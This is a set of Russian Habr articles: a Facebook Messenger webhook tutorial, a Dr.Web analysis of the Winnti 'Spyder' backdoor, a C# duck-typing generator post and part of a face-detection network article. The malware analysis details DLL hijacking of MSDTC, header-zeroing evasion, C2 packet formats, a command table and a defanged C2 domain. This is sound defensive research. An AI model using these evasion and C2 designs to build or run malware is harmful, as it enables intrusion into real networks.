public function subscribeWebHooks($pageId, $pageToken)
{
$options = [
'headers' => [],
'query' => [
'access_token' => $pageToken,
'subscribed_fields' => 'messages,messaging_optouts,messaging_payments,messaging_account_linking,messaging_feedback,messaging_postbacks,message_deliveries,messaging_pre_checkouts,messaging_referrals,message_reactions,messaging_customer_information,messaging_optins,message_reads,messaging_checkout_updates,message_echoes,messaging_handovers,inbox_labels'
]
];
$uri = $this->fbAppUrl.'/'.$pageId.'/subscribed_apps';
$response = $this->httpPost($uri, $options);
$response = $response->getBody()->getContents();
return $response;
}
```
Как видно из кода, мы отпровляем `get` запрос на конечную точку `fb` `/page_id/subscribed_apps` . Вот по этому выше я подчеркнул что нужно сохронить еще и `id` страницы, не только `token` .
Вот [документация](https://developers.facebook.com/docs/graph-api/reference/v12.0/app/subscriptions) по подпискам.
Теперь когда мы отправим сообщение из нашего messenger-а на нашу страницу то наш `api` отправит сообщение на наш сайт.
Здесь важное примечание по webhook url который мы задали в настройках нашего приложения.
В первой части я сказал что эта конечная точка должна уже быть на вашем сайте. Потому что когда вы задаете url подписки, `fb` отправляет `get` запрос на этот `url` с маркером подтверждения, который вы напишете в определенном месте. Смотрите картинку выше.
То есть нам нужно 2 конечные точки под одним и тем же именем ( `get, post` )
Первая для проверки, вторая уже для самого приема сообщений от `fb api`
Вот код который я написал в `node.js` для этого. (вы можете написать это на любом языке.)
код для `http` сервера.
```
const http = require("http");
const app = require("express")();
const cors = require("cors");
const bodyParser = require("body-parser");
app.use(cors());
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
const server = http.createServer(app);
server.listen(port, function() {
console.log("listening port CHECK: " + port);
});
module.exports.app = app;
module.exports.server = server;
```
Вот сам код для конечной точки.
```
const { app } = require('./config/httpServer');
app.get('/webhook', (req, res) => {
console.log('GET /webhook: ', req);
if (req.query['hub.mode'] && req.query['hub.verify_token'] === facebookHubVerifyToken) {
res.status(200).send(req.query['hub.challenge']);
} else {
res.status(403).end();
}
});
/**
* Handling all messages from Messenger (Facebook)
*/
app.post('/webhook', messangerAppController);
```
Теперь нам осталось только отправка самого сообщения из нашего сайта к messenger и обратно.
Для того что бы нам отправить сообщение в пользователю `messenger` нам надо знать его `psid`. Это уникальный `id` каждего пользователся messenger, не `fb id` . Для того что бы мы взяли psid нам надо что бы пользователь первым написал нам на страницу в `messenger`.
Как видно из кода у нас на `node` есть контроллер для обработки входящих сообщений. Давайте детально рассмотрим его.
```
/**
* @param req
* @param res
* @returns {Promise}
\*/
const messangerAppController = async function (req, res) {
if (req.body.object !== 'page') {
res.status(400).end();
return;
}
if (!Array.isArray(req.body.entry)) {
res.status(200).end();
console.log('What is it?');
return;
}
req.body.entry.forEach((entry) => {
entry.messaging.forEach(async (event) => {
if (event.message && event.message.text) {
const sid = event.sender.id;
const message = event.message.text;
const replyId = event.message.reply\_to ? event.message.reply\_to.mid : false
try {
let facebook = await Facebook.findOne({ where: { psid: sid } });
if (facebook && replyId) {
const newMessage = await Message.create({
chat\_id: chat.id,
from\_support: user.id,
type\_id: Message.TYPE\_MESSAGE,
unread: 1,
content: message
});
//Здесь уже обработка кода как вам угодно.
} else {
let fb = await Facebook.connectUser(sid, message);
let fbAuth = await FbAuth.findOne({where: {id: fb.fb\_auth\_id}});
let fb\_page\_token = fbAuth && fbAuth.access\_token ? fbAuth.access\_token : false;
sendMessage(fb\_page\_token, sid, 'You successfully connected your Messenger.');
}
} catch (error) {
const errorMessage = `Error: ${error.message}`;
sendMessage(sid, errorMessage);
console.log('Messenger Webhook: ', errorMessage);
}
}
});
});
res.status(200).end();
}
module.exports = messangerAppController;
```
Как видно из строки 20 мы взяли `psid` пользователя messenger. Это значит что после подключения api к странице нам надо отправить первое сообщение на страницу `fb` что бы из webhook узнать `psid` пользователя `messenger`, для дальнейшего использования.(отправки сообщения в `messenger`) .
Допустим, у нас есть несколько менеджеров службы поддержки на нашем сайте.
На сайте давайте создадим страницу для подключения messenger-а менеджера.
После клика на кнопку сгенерируем уникальный код для него. И говорим что бы он отправил этот код из своего messenger-а на нашу подключенную страницу.
После отправки мы получим psid данного пользователя fb . И уже сможем отправить ему сообщение.
То же самое написано в коде выше.
И последним делом посмотрим код отправки самого сообщения (функция `sendMessage в коде выше`) к данному пользователю `fb`.
```
function sendMessage(accessToken, recipient, messege = '') {
request({
url: 'https://graph.facebook.com/v12.0/me/messages',
qs: {
access_token: accessToken
},
method: 'POST',
json: {
recipient: {id: recipient},
message: {text: messege}
}
}, function (error, response) {
if (error) {
console.log('Error sending message: ', error);
} else if (response.body.error) {
console.log('Error: ', response.body.error);
}
});
}
module.exports.sendMessage = sendMessage;
```
Мне кажется этот код понятен, с помощью маркера доступа к странице отправляем сообщение пользователю `messenger`.
И в конец вот [документация](https://developers.facebook.com/docs/messenger-platform/reference/send-api/) по отправке сообщений в `messenger`. Для подробного изучения всех возможностей который нам дает `Fb Graph Api`.
Ну вот и все. Мы подключили `fb messenger`.
Спасибо что прочитали. | https://habr.com/ru/post/648199/ | null | ru | null |
# Исследуем Spyder – еще один бэкдор группировки Winnti
В конце прошлого года в нашу лабораторию за помощью обратилась зарубежная телекоммуникационная компания, сотрудники которой обнаружили в корпоративной сети подозрительные файлы. В ходе поиска следов вредоносной активности аналитики выявили образец весьма интересного бэкдора. Его анализ показал, что мы имеем дело с очередным модульным APT-бэкдором, использующимся хакерской группой Winnti.
Последний раз деятельность Winnti попадала в наше поле зрения, когда мы анализировали модификации бэкдоров **ShadowPad** и **PlugX** в рамках расследования атак на государственные учреждения стран Центральной Азии. Оба эти семейства оказались схожи концептуально и имели примечательные пересечения в коде. Сравнительному анализу ShadowPad и PlugX был посвящен [отдельный материал](https://news.drweb.ru/show/?i=14048&lng=ru).
В сегодняшней статье мы разберем бэкдор **Spyder** — именно так окрестили найденный вредоносный модуль наши вирусные аналитики. Мы рассмотрим алгоритмы и особенности его работы и выявим его связь с другими известными инструментами APT-группы **Winnti**.
#### Чем примечателен Spyder
Вредоносный модуль представляет собой DLL-библиотеку, которая на зараженном устройстве располагалась в системной директории *C:\Windows\System32* под именем oci.dll. Таким образом, модуль был подготовлен для запуска системной службой MSDTC при помощи метода DLL Hijacking. По нашим данным, файл попал на компьютеры в мае 2020 года, однако способ первичного заражения остался неизвестным. В журналах событий мы обнаружили записи о создании служб, предназначенных для старта и остановки MSDTC, а также для исполнения бэкдора.
```
Log Name: System
Source: Service Control Manager
Date: 23.11.2020 5:45:17
Event ID: 7045
Task Category: None
Level: Information
Keywords: Classic
User:
Computer:
Description:
A service was installed in the system.
Service Name: IIJVXRUMDIKZTTLAMONQ
Service File Name: net start msdtc
Service Type: user mode service
Service Start Type: demand start
Service Account: LocalSystem
```
```
Log Name: System
Source: Service Control Manager
Date: 23.11.2020 5:42:20
Event ID: 7045
Task Category: None
Level: Information
Keywords: Classic
User:
Computer:
Description:
A service was installed in the system.
Service Name: AVNUXWSHUNXUGGAUXBRE
Service File Name: net stop msdtc
Service Type: user mode service
Service Start Type: demand start
Service Account: LocalSystem
```
Также мы нашли следы запуска других служб со случайными именами, их файлы располагались в директориях вида *C:\Windows\Temp\\*, где *random1* и *random2* являются строками случайной длины из случайных символов латинского алфавита. На момент проведения исследования исполняемые файлы этих служб отсутствовали.
Интересной находкой стала служба, свидетельствующая об использовании утилиты для удаленного исполнения кода **smbexec.py** из состава набора [Impacket](https://github.com/SecureAuthCorp/impacket). С её помощью злоумышленники организовали удаленный доступ к командной оболочке в полуинтерактивном режиме.
Исследуемый вредоносный модуль oci.dll был добавлен в вирусную базу Dr.Web как **BackDoor.Spyder.1**. Это название пришло к нам из артефактов бэкдора. В одном из найденных образцов остались функции ведения отладочного журнала и сами сообщения, при этом те из них, которые использовались при коммуникации с управляющим сервером, содержали строку «Spyder».
Бэкдор примечателен рядом интересных особенностей. Во-первых, oci.dll содержит основной PE-модуль, но с отсутствующими файловыми сигнатурами. Заполнение сигнатур заголовка нулями предположительно было сделано с целью затруднения детектирования бэкдора в памяти зараженного устройства. Во-вторых, полезная нагрузка сама по себе не несет вредоносной функциональности, но служит загрузчиком и координатором дополнительных плагинов, получаемых от управляющего сервера. С помощью этих подключаемых плагинов бэкдор выполняет основные задачи. Таким образом, это семейство имеет модульную структуру, как и другие семейства бэкдоров, используемые **Winnti**, — упомянутые ранее **ShadowPad** и **PlugX**.
Анализ сетевой инфраструктуры **Spyder** выявил связь с другими атаками **Winnti**. В частности инфраструктура, используемая бэкдорами **Crosswalk** и **ShadowPad**, описанными в [исследовании](https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/) Positive Technologies, перекликается с некоторыми образцами **Spyder**. График ниже наглядно показывает выявленные пересечения.
Пожалуйста, масштабируйте страницу для чтения надписей, спасибо :)#### Принцип действия
Бэкдор представляет собой вредоносную DLL-библиотеку. Имена функций в таблице экспорта образца дублируют экспортируемые функции системной библиотеки apphelp.dll.
Функционально образец является загрузчиком для основной полезной нагрузки, которую хранит в секции *.data* в виде DLL, при этом некоторые элементы DOS и PE заголовков равны нулю.
#### Работа загрузчика
Загрузка выполняется в функции, обозначенной как *malmain\_3*, вызываемой из точки входа DLL через две промежуточные функции-переходника.
Далее следует стандартный процесс загрузки PE-модуля в память и вызов точки входа загруженного модуля (DllMain) с аргументом *DLL\_PROCESS\_ATTACH*, а после выхода из нее — повторный вызов с *DLL\_PROCESS\_DETACH*.
#### Работа основного модуля
В основном модуле значения всех сигнатур, необходимых для корректной загрузки файла, приравнены к нулю.
* IMAGE\_DOS\_HEADER.e\_magic
* IMAGE\_NT\_HEADERS64.Signature
* IMAGE\_NT\_HEADERS64.FileHeader.Magic
Кроме того, *TimeDateStamp* и имена секций также имеют нулевое значение. Остальные значения корректны, поэтому после ручной правки необходимых сигнатур файл можно загрузить для анализа в виде PE-модуля.
Анализ основного модуля затруднен, так как периодически используются нетипичные способы вызова функций. Для хранения и обработки структур используется библиотека [UT hash](https://github.com/troydhanson/uthash). Она позволяет преобразовывать стандартные C-структуры в хеш-таблицы путем добавления одного члена типа *ut\_hash\_handle*. При этом все функции библиотеки, такие как добавление элементов, поиск, удаление и т. д., реализованы в виде макросов, что приводит к их принудительному разворачиванию и встраиванию (inline) компилятором в код основной (вызывающей) функции.
Для взаимодействия с управляющим сервером используется библиотека [mbedtls](https://github.com/ARMmbed/mbedtls).
#### Функция DllMain
В начале исполнения проверяется наличие события *Global\\BFE\_Notify\_Event\_{65a097fe-6102-446a-9f9c-55dfc3f45853}*, режим исполнения (из конфигурации) и командная строка, затем происходит запуск рабочих потоков.
Модуль имеет встроенную конфигурацию следующей структуры:
```
struct cfg_c2_block
{
int type;
char field_4[20];
char addr[256];
}
struct cfg_proxy_data
{
DWORD dw;
char str[256];
char proxy_server[256];
char username[64];
char password[32];
char unk[128];
};
struct builtin_config
{
int exec_mode;
char url_C2_req[100];
char hash_id[20];
char string[64];
char field_BC;
cfg_c2_block srv_1;
cfg_c2_block srv_2;
cfg_c2_block srv_3;
cfg_c2_block srv_4;
cfg_proxy_data proxy_1;
cfg_proxy_data proxy_1;
cfg_proxy_data proxy_1;
cfg_proxy_data proxy_1;
int CA_cert_len;
char CA_cert[cert_len];
};
```
Поле *hash* содержит некое значение, которое может являться идентификатором. Это значение используется при взаимодействии с управляющим сервером и может быть представлено в виде строки *b2e4936936c910319fb3d210bfa55b18765db9cc*, которая по длине совпадает с SHA1-хешами.
Поле *string* содержит строку из одного символа: *1*.
*CA\_cert* — сертификат центра сертификации в формате DER. Он используется для установки соединения с управляющим сервером по протоколу TLS 1.2.
В функции *DllMain* предусмотрено создание нескольких рабочих потоков в зависимости от ряда условий.
* Основной поток — thread\_1\_main
* Поток запроса нового сервера — thread\_2\_get\_new\_C2\_start\_communication
* Поток исполнения зашифрованного модуля — thread\_4\_execute\_encrypted\_module
#### Основной поток
Вначале бэкдор проверяет версию ОС, затем подготавливает структуру для инициализации функций и структуру для хранения некоторых полей конфигурации. Процедура выглядит искусственно осложненной.
В структуру *funcs\_struc* типа *funcs\_1* заносятся 3 указателя на функции, которые будут поочередно вызваны внутри функции *init\_global\_funcs\_and\_allocated\_cfg*.
 В функции *set\_global\_funcs\_by\_callbacks* происходит вызов каждой функции-инициализатора по очереди.
Общий порядок формирования структур выглядит следующим образом:
1) каждой функции передаются две структуры: первая содержит указатели на некоторые функции, вторая — пустая;
2) каждая функция переносит указатели на функции из одной структуры в другую;
3) после вызова функции-инициализатора происходит очередное перемещение указателей на функции из локальной структуры в глобальный массив структур по определенному индексу.
В итоге после всех нестандартных преобразований получается некоторое количество глобальных структур, которые объединены в один массив.
 В конечном итоге вызов функций можно представить следующим образом.
Сложные преобразования — копирование локальных структур с функциями и их перенос в глобальные структуры — вероятно, призваны усложнить анализ вредоносного образца.
Затем бэкдор при помощи библиотеки UT hash формирует хеш-таблицу служебных структур, ответственных за хранение контекста сетевого соединения, параметров подключения и т. д.
Фрагмент кода формирования хеш-таблицы.
 Стоит отметить, что здесь располагается значение сигнатуры, которое позволяет определить используемую библиотеку: *g\_p\_struc\_10->hh.tbl->signature = 0xA0111FE1;*.
Для рассматриваемого бэкдора характерно распределение значимых полей и данных по нескольким создаваемым для этого структурам. Эта особенность при анализе затрудняет создание осмысленных имен для структур.
После подготовительных действий переходит к инициализации подключения к управляющему серверу.
#### Инициализация соединения с управляющим сервером
После ряда подготовительных действий бэкдор разрешает хранящийся в конфигурации адрес управляющего сервера и извлекает порт. Адреса в конфигурации хранятся в виде строк: *koran.junlper[.]com:80* и *koran.junlper[.]com:443*. Далее программа создает TCP-сокет для подключения. После этого создает контекст для защищенного соединения и выполняет TLS-рукопожатие.
После установки защищенного соединения бэкдор ожидает от управляющего сервера пакет с командой. Программа оперирует двумя форматами пакетов:
* пакет, полученный после обработки протокола TLS, — «транспортный» пакет»;
* пакет, полученный после обработки транспортного пакета, — «пакет данных». Содержит идентификатор команды и дополнительные данные.
Заголовок транспортного пакета представлен следующей структурой.
```
struct transport_packet_header
{
DWORD signature;
WORD compressed_len;
WORD uncompressed_len;
};
```
Данные располагаются после заголовка и упакованы алгоритмом LZ4. Бэкдор проверяет значение поля *signature*, оно должно быть равно *0x573F0A68*.
После распаковки полученный пакет данных имеет заголовок следующего формата.
```
struct data_packet_header
{
WORD tag;
WORD id;
WORD unk_0;
BYTE update_data;
BYTE id_part;
DWORD unk_1;
DWORD unk_2;
DWORD len;
};
```
Поля *tag* и *id* в совокупности определяют действие бэкдора, то есть обозначают идентификатор команды.
Данные структуры заголовков используются в обоих направлениях взаимодействия.
Порядок обработки команд сервера:
* верификация клиента;
* отправка информации о зараженной системе;
* обработка команд по идентификаторам.
В структуре, отвечающей за взаимодействие с управляющим сервером, есть переменная, которая хранит состояние диалога. В связи с этим перед непосредственным выполнением команд необходимо выполнение первых двух шагов, что можно рассматривать как второе рукопожатие.
#### Этап верификации
Для выполнения этапа верификации значения полей *tag* и *id* в полученном от управляющего сервера первичном пакете должны быть равны 1.
Процесс верификации состоит в следующем:
1. Бэкдор формирует буфер из 8-байтного массива, который следует после заголовка пакета и поля *hash\_id*, взятого из конфигурации. Результат можно представить в виде структуры:
```
struct buff
{
BYTE packet_data[8];
BYTE hash_id[20];
}
```
2. Вычисляется SHA1-хеш данных в полученном буфере, результат помещается в пакет (после заголовка) и отправляется на сервер.
#### Отправка информации о системе
Следующий полученный пакет от управляющего сервера должен иметь значения *tag*, равное 5, и *id*, равное 3. Данные о системе формируются в виде структуры *sysinfo\_packet\_data*.
```
struct session_info
{
DWORD id;
DWORD State;
DWORD ClientBuildNumber;
BYTE user_name[64];
BYTE client_IPv4[20];
BYTE WinStationName[32];
BYTE domain_name[64];
};
struct sysinfo_block_2
{
WORD field_0;
WORD field_2;
WORD field_4;
WORD system_def_lang_id;
WORD user_def_lang_id;
DWORD timezone_bias;
DWORD process_SessionID;
BYTE user_name[128];
BYTE domain_name[128];
DWORD number_of_sessions;
session_info sessions[number_of_sessions];
};
struct sysinfo_block_1
{
DWORD unk_0; //0
DWORD bot_id_created;
DWORD dw_const_0; //0x101
DWORD os_version;
WORD dw_const_2; //0x200
BYTE cpu_arch;
BYTE field_13;
DWORD main_interface_IP;
BYTE MAC_address[20];
BYTE bot_id[48];
WCHAR computer_name[128];
BYTE cfg_string[64];
WORD w_const; //2
WORD sessions_size;
};
struct sysinfo_packet_data
{
DWORD id;
sysinfo_block_1 block_1;
sysinfo_block_2 block_2;
};
```
Поле *sysinfo\_packet\_data.id* содержит константу — *0x19C0001*.
Примечателен процесс определения бэкдором значений MAC-адреса и IP-адреса. Вначале программа ищет сетевой интерфейс, через который прошло наибольшее количество пакетов, затем получает его MAC-адрес и далее по нему ищет IP-адрес этого интерфейса.
Версия ОС кодируется значением от 1 до 13 (0, если возникла ошибка), начиная с 5.0 и далее по возрастанию версии.
В поле *sysinfo\_packet\_data.block\_1.cfg\_string* помещается значение *string* из конфигурации бэкдора, которое равно символу 1.
#### Обработка команд
После верификации и отправки системной информации **BackDoor.Spyder.1** приступает к обработке главных команд. В отличие от большинства бэкдоров, команды которых имеют вполне конкретный характер (забрать файл, создать процесс и т. д.), в данном экземпляре они носят скорее служебный характер и отражают инструкции по хранению и структурированию получаемых данных. Фактически все эти служебные команды нацелены на загрузку новых модулей в PE-формате, их хранение и вызов тех или иных экспортируемых функций. Стоит отметить, что модули и информация о них хранятся в памяти в виде хеш-таблиц с помощью UT-hash.
| | | |
| --- | --- | --- |
| **tag** | **id** | **Описание** |
| 6 | 1 | Отправить на сервер количество полученных модулей. |
| 2 | Сохранить в памяти параметры получаемого модуля. |
| 3 | Сохранить в памяти тело модуля. |
| 4 | Загрузить сохраненный ранее модуль. Поиск выполняется в хеш-таблице по идентификатору, полученному в пакете с командой. Модуль загружается в память, вызывается его точка входа, затем получаются адреса 4 экспортируемых функций, которые сохраняются в структуре для дальнейшего вызова. Вызвать экспортируемую функцию № 1. |
| 5 | Вызвать экспортируемую функцию № 4 одного из загруженных модулей, затем выгрузить его. |
| 6 | Отправить в ответ пакет, состоящий только из заголовка *data\_packet\_header*, в котором поле *unk\_2* равно *0xFFFFFFFF*. |
| 7 | Вызвать экспортируемую функцию № 2 одного из загруженных модулей. |
| 8 | Вызвать экспортируемую функцию № 3 одного из загруженных модулей. |
| 5 | 2 | Отправить на сервер информацию о текущих параметрах подключения. |
| 4 | - | Предположительно экспортируемая функция № 1 может возвращать таблицу указателей на функции, и по этой команде программа вызывает одну из данных функций. |
После обработки каждого полученного от сервера пакета бэкдор проверяет разницу между двумя значениями результата *GetTickCount*. Если значение превышает заданное контрольное значение, то отправляет на сервер значение сигнатуры *0x573F0A68* без каких-либо дополнительных данных и преобразований.
#### Заключение
Рассмотренный образец бэкдора для целевых атак **BackDoor.Spyder.1** примечателен в первую очередь тем, что его код не исполняет прямых вредоносных функций. Его основные задачи — скрытое функционирование в зараженной системе и установление связи с управляющим сервером с последующим ожиданием команд операторов. При этом он имеет модульную структуру, что позволяет масштабировать его возможности, обеспечивая любую функциональность в зависимости от нужд атакующих. Наличие подключаемых плагинов роднит рассмотренный образец с **ShadowPad** и **PlugX**, что, вкупе с пересечениями сетевых инфраструктур, позволяет нам сделать вывод о его принадлежности к деятельности Winnti. | https://habr.com/ru/post/545202/ | null | ru | null |
# «Duck typing» и C#
Доброго времени суток. В последнее время я много эксперементрировал с .Net 5 и его Source Generator-ами. И мне внезапно пришла идея как можно использовать Source Generator-ы для реализации "duck typing"-а в C#. Я не мог просто оставить эту идею. В итоге вышла, я бы сказал, чисто академическая штука(никто не будет использовать это на проде, я надеюсь), но результат получился довольно интересен. Всем кому интересно прошу под кат!
**Спойлер**
Я не буду очень углубляться в саму реализацию. Её можно посмотреть в репозитории ссылка на который будет внизу. Там нет ничего сложного для тех кто уже баловался с генераторами, а для всеx остальных потребуется намного большая статья.
Как этим пользоваться
=====================
Представим что у нас есть следующий пример:
```
public interface ICalculator
{
float Calculate(float a, float b);
}
public class AddCalculator
{
float Calculate(float a, float b);
}
```
Важно отметить что `AddCalculator` никаким образом не реализует `ICalculator`.
Они лишь имеют идентичные сигнатуры. Если мы попытаемся использовать их следующим образом, то у нас ничего не получится:
```
var addCalculator = new AddCalculator();
var result = Do(addCalculator, 10, 20);
float Do(ICalculator calculator, float a, float b)
{
return calculator.Calculate(a, b);
}
```
Компилятор С# скажет следующее:
`Argument type 'AddCalculator' is not assignable to parameter type 'ICalculator'`
И он будет прав. Но поскольку сигнатура `AddCalculator` полностью совпадает с `ICalculator` и нам очень хочеться это сделать, то решением может быть duck typing который не работает в С#. Иммено тут и пригодится nuget пакет `DuckInterface`. Все что нужно будет сделать, это установить его и немножечко подправить наши сигнатуры. Начнем с интерфейса добавив к нему аттрибут `Duckable`:
```
[Duckable]
public interface ICalculator
{
float Calculate(float a, float b);
}
```
Дальше обновим метод `Do`. Нужно заменить `ICalculator` на `DICalculator`. `DICalculator` это класс который был сгенерен нашим `DuckInterface`.
Сигнатура `DICalculator` полностью совпадает с `ICalculator` и может содержать неявные преобразования для нужных типов. Все эти неявные преобразования будут генериться в тот момент когда мы пишем код в нашей IDE. Генерится они будуть в зависимости от того как мы используем наш `DICalculator`.
Итоговый пример:
```
var addCalculator = new AddCalculator();
var result = Do(addCalculator, 10, 20);
float Do(DICalculator calculator, float a, float b)
{
return calculator.Calculate(a, b);
}
```
И это всё. Ошибок компиляции больше нет и все работает как часы.
Как это работает
================
Здесь используются два независимых генератора. Первый ищет аттрибут `Duckable` и генерит "базовый" класс для интерфейса. Например, для `ICalculator` он будет иметь следующий вид:
```
public partial class DICalculator : ICalculator
{
[System.Diagnostics.DebuggerBrowsable(System.Diagnostics.DebuggerBrowsableState.Never)]
private readonly Func \_Calculate;
[System.Diagnostics.DebuggerStepThrough]
public float Calculate(float a, float b)
{
return \_Calculate(a, b);
}
}
```
Второй генератор ищет вызовы методов и присваивания чтобы понять как duckable интерфейс используется. Расмотрим следующий пример:
```
var result = Do(addCalculator, 10, 20);
```
Анализатор увидит что метод `Do` имеет первый аргумент типа `DICalculator`, а потом проверит переменную `addCalculator`. Если её тип имеет все необходимые поля и методы, то генератор расширит `DICalculator` следующим образом:
```
public partial class DICalculator
{
private DICalculator(global::AddCalculator value)
{
_Calculate = value.Calculate;
}
public static implicit operator DICalculator(global::AddCalculator value)
{
return new DICalculator(value);
}
}
```
Поскольку `DICalculator` это partial class мы можем реализовать подобные расширения для нескольких типов сразу и ничего не сломать. Этот трюк работает не только для методов, но и для пропертей:
Пример:
```
[Duckable]
public interface ICalculator
{
float Zero { get; }
float Value { get; set; }
float Calculate(float a, float b);
}
// ....
public partial class DICalculator : ICalculator
{
[System.Diagnostics.DebuggerBrowsable(System.Diagnostics.DebuggerBrowsableState.Never)]
private readonly Func \_ZeroGetter;
[System.Diagnostics.DebuggerBrowsable(System.Diagnostics.DebuggerBrowsableState.Never)]
private readonly Func \_ValueGetter;
[System.Diagnostics.DebuggerBrowsable(System.Diagnostics.DebuggerBrowsableState.Never)]
private readonly Action \_ValueSetter;
[System.Diagnostics.DebuggerBrowsable(System.Diagnostics.DebuggerBrowsableState.Never)]
private readonly Func \_Calculate;
public float Zero
{
[System.Diagnostics.DebuggerStepThrough] get { return \_ZeroGetter(); }
}
public float Value
{
[System.Diagnostics.DebuggerStepThrough] get { return \_ValueGetter(); }
[System.Diagnostics.DebuggerStepThrough] set { \_ValueSetter(value); }
}
[System.Diagnostics.DebuggerStepThrough]
public float Calculate(float a, float b)
{
return \_Calculate(a, b);
}
}
```
Что не работает
===============
На этом хорошие новости закончились. Всё-таки реализовать прямо вездесущий duck typing не получится. Поскольку мы скованы самим компилятором. А именно будут проблемы с дженериками и ref struct-урами. В теории часть проблем с дженериками можно починить, но не все. Например, было бы прикольно чтобы мы могли использовать наши интерфейсы вместе с where как-то вот так:
```
float Do(TCalcualtor calculator, float a, float b)
where TCalcualtor: DICalculator
{
return calculator.Calculate(a, b);
}
```
В таком случае мы могли бы получили прямо zero cost duct typing(и щепотку метапрограмирования, если копнуть глубже), поскольку, мы легко можем заменить `partial class` на `partial struct` в реализации нашего duck интерфейса. В результате, было бы сгенерено множестао `Do` методов для каждого уникального `TCalcualtor` как это происходит со структурами. Но увы, компилятор нам скажет, что ничего такого он не умеет.
На этом все. Спасибо за внимание!
[Nuget тут](https://www.nuget.org/packages/DuckInterface/)
[Github тут](https://github.com/byme8/DuckInterface) | https://habr.com/ru/post/536124/ | null | ru | null |
# Глубокое обучение в гараже — Две сети
Это вторая статья из серии про определение смайла по выражению лица.
[Глубокое обучение в гараже — Братство данных](https://habrahabr.ru/post/277267/)
Глубокое обучение в гараже — Две сети
[Глубокое обучение в гараже — Возвращение смайлов](https://habrahabr.ru/post/277403/)
Калибрация
----------
Итак, с классификатором, разобрались, но вы наверняка уже заметили, что заоблачные 99% как-то не очень впечатляюще выглядят во время боевого теста на детекцию. Вот и я заметил. Дополнительно видно, что в последних двух примерах очень мелкий шаг движения окон, так в жизни работать не будет. В настоящем, реальном запуске шаг ожидается больше похожим на картинку для первой сети, а там хорошо видно неприятный факт: как бы хорошо сеть не искала лица, окна будут плохо выровнены к лицам. И уменьшение шага — явно не подходящее решение этой проблемы для продакшена.
Ну хорошо, подумал я. Мы нашли окна, но нашли не точные окна, а как бы смещенные. Как бы так их сместить "назад", чтобы лицо оказалось в центре? Естественно, автоматически. Ну, и раз уж я занялся сетями, то и "восстанавливать" окна я решил тоже сетью. Но как?
Первой мыслью пришло предсказывать сетью три числа: на сколько пикселей надо сместить по x и y и в какую константу раз увеличить (уменьшить) окно. Получается, регрессия. Но тут я сразу почувствовал, что что-то не так, аж три регрессии надо сделать! Да еще две из них дискретные. Да еще и ограничены шагом движения окна по оригинальному изображению, ведь нет смысла сдвигать окно далеко: там было другое окно! Последним гвоздем в гробу этой идеи оказались пара независимых статей, которые утверждали, что регрессия сильно хуже классификации решается современными сетевыми методами, и что она гораздо менее стабильна.
Так что, решено было свести задачу регрессии к задаче классификации, что оказалось более чем возможно, учитывая, что окно мне надо подергать совсем немного. Для этих целей, собрал датасет, в котором брал выделенные лица из оригинального датасета, смещал их в девять (включая никакую) разных сторон и увеличивал/уменьшал в пять разных коэффициентов (включая единицу). Итого, получил 45 классов.
Проницательный читатель тут должен ужаснуться: классы-то получились очень сильно связанными друг с другом! Результат такой классификации может вообще мало иметь отношения к реальности.
Для успокоения внутреннего математика я привел три довода:
1. По сути, обучение сети — это просто поиск минимума функции потерь. Не обязательно его интерпретировать, как классификацию.
2. Мы же ничего и не классифицируем, на самом-то деле, мы эмулируем регрессию! В совокупности с осознанием первого пункта, это позволяет не фокусироваться на формальной корректности.
3. Это, черт возьми, работает!
Так как мы не классифицируем, а эмулируем регрессию, то нельзя просто взять лучший класс и считать, что он верный. Поэтому я беру распределение классов, которое выдает сеть для каждого окна, удаляю совсем уж маловероятные (< 2.2%, что равно 1/45, что значит, что вероятность меньше случайной), и для оставшихся классов суммирую их смещения с вероятностями в качестве коэффициентов и получаю как бы регрессию в таком небольшом небазисе *(был бы базис, если бы классы были независимы, а так ну никак не базис же :)*.
Итого, я ввел в систему вторую сеть, калибрационную. Она выдавала распределение по классам, на основе которого я калибровал окна, надеясь, что лица будут выравниваться по центру окон.
Давайте попробуем обучить вот такую сеть:
```
def build_net12_cal(input):
network = lasagne.layers.InputLayer(shape=(None, 3, 12, 12), input_var=input)
network = lasagne.layers.dropout(network, p=.1)
network = conv(network, num_filters=16, filter_size=(3, 3), nolin=relu)
network = max_pool(network)
network = DenseLayer(lasagne.layers.dropout(network, p=.5), num_units=128, nolin=relu)
network = DenseLayer(lasagne.layers.dropout(network, p=.5), num_units=45, nolin=linear)
return network
```
И вот такой алгоритм расчета смещения:
```
def get_calibration():
classes = np.array([(dx1, dy1, ds1), (dx2, d2, ds2), ...], dtype=theano.config.floatX) # ds -- это изменение scale
min_cal_prob = 1.0 / len(classes)
cals = calibration_net(*frames) > min_cal_prob # вернет вероятности калибрационных классов для каждого окна, обрезанные по нижнему порогу
(dx, dy, ds) = (classes * cals.T).sum(axis=0) / cals.sum(axis=1) # первая сумма -- по всем окнам, вторая сумма -- по классам для каждого окна. Она была бы всегда равна единице, если бы не было отсечения строкой выше
return dx, dy, ds
```
И это работает!
Слева исходные окна от детекционной сети (маленькой), справа они же, но откалиброванные. Видно, что окна начинают группироваться в явные кластера. Дополнительно, это помогает более эффективно фильтровать дубликаты, так как окна, относящиеся к одному лицу, пересекаются большей площадью и становится легче понять, что одно из них надо отфильтровать. Так же это позволяет уменьшить число окон в продакшене за счет увеличения шага скольжения окна по изображению.
Заодно вот и результаты обучения маленькой калибрации:
и большой калибрации:
а вот и сама большая калибрационная сеть:
```
def build_net48_cal(input):
network = lasagne.layers.InputLayer(shape=(None, 3, 48, 48), input_var=input)
network = lasagne.layers.dropout(network, p=.1)
network = conv(network, num_filters=64, filter_size=(5, 5), nolin=relu)
network = max_pool(network)
network = conv(network, num_filters=64, filter_size=(5, 5), nolin=relu)
network = DenseLayer(lasagne.layers.dropout(network, p=.3), num_units=256, nolin=relu)
network = DenseLayer(lasagne.layers.dropout(network, p=.3), num_units=45, nolin=linear)
return network
```
К этим графикам стоит относиться скептически, ведь нам нужна не классификация, а регрессия. Но эмпирическое тестирование взглядом показывает, что калибрация, обученная таким образом, хорошо выполняет свою цель.
Еще замечу, что для калибрации исходный набор данных в 45 раз больше, чем для классификации (по 45 классов для каждого лица), но с другой стороны, его нельзя было дополнить вышеописанным образом просто по постановке задачи. Так что, колбасит, особенно большую сеть, изрядно.
Оптимизация II
--------------
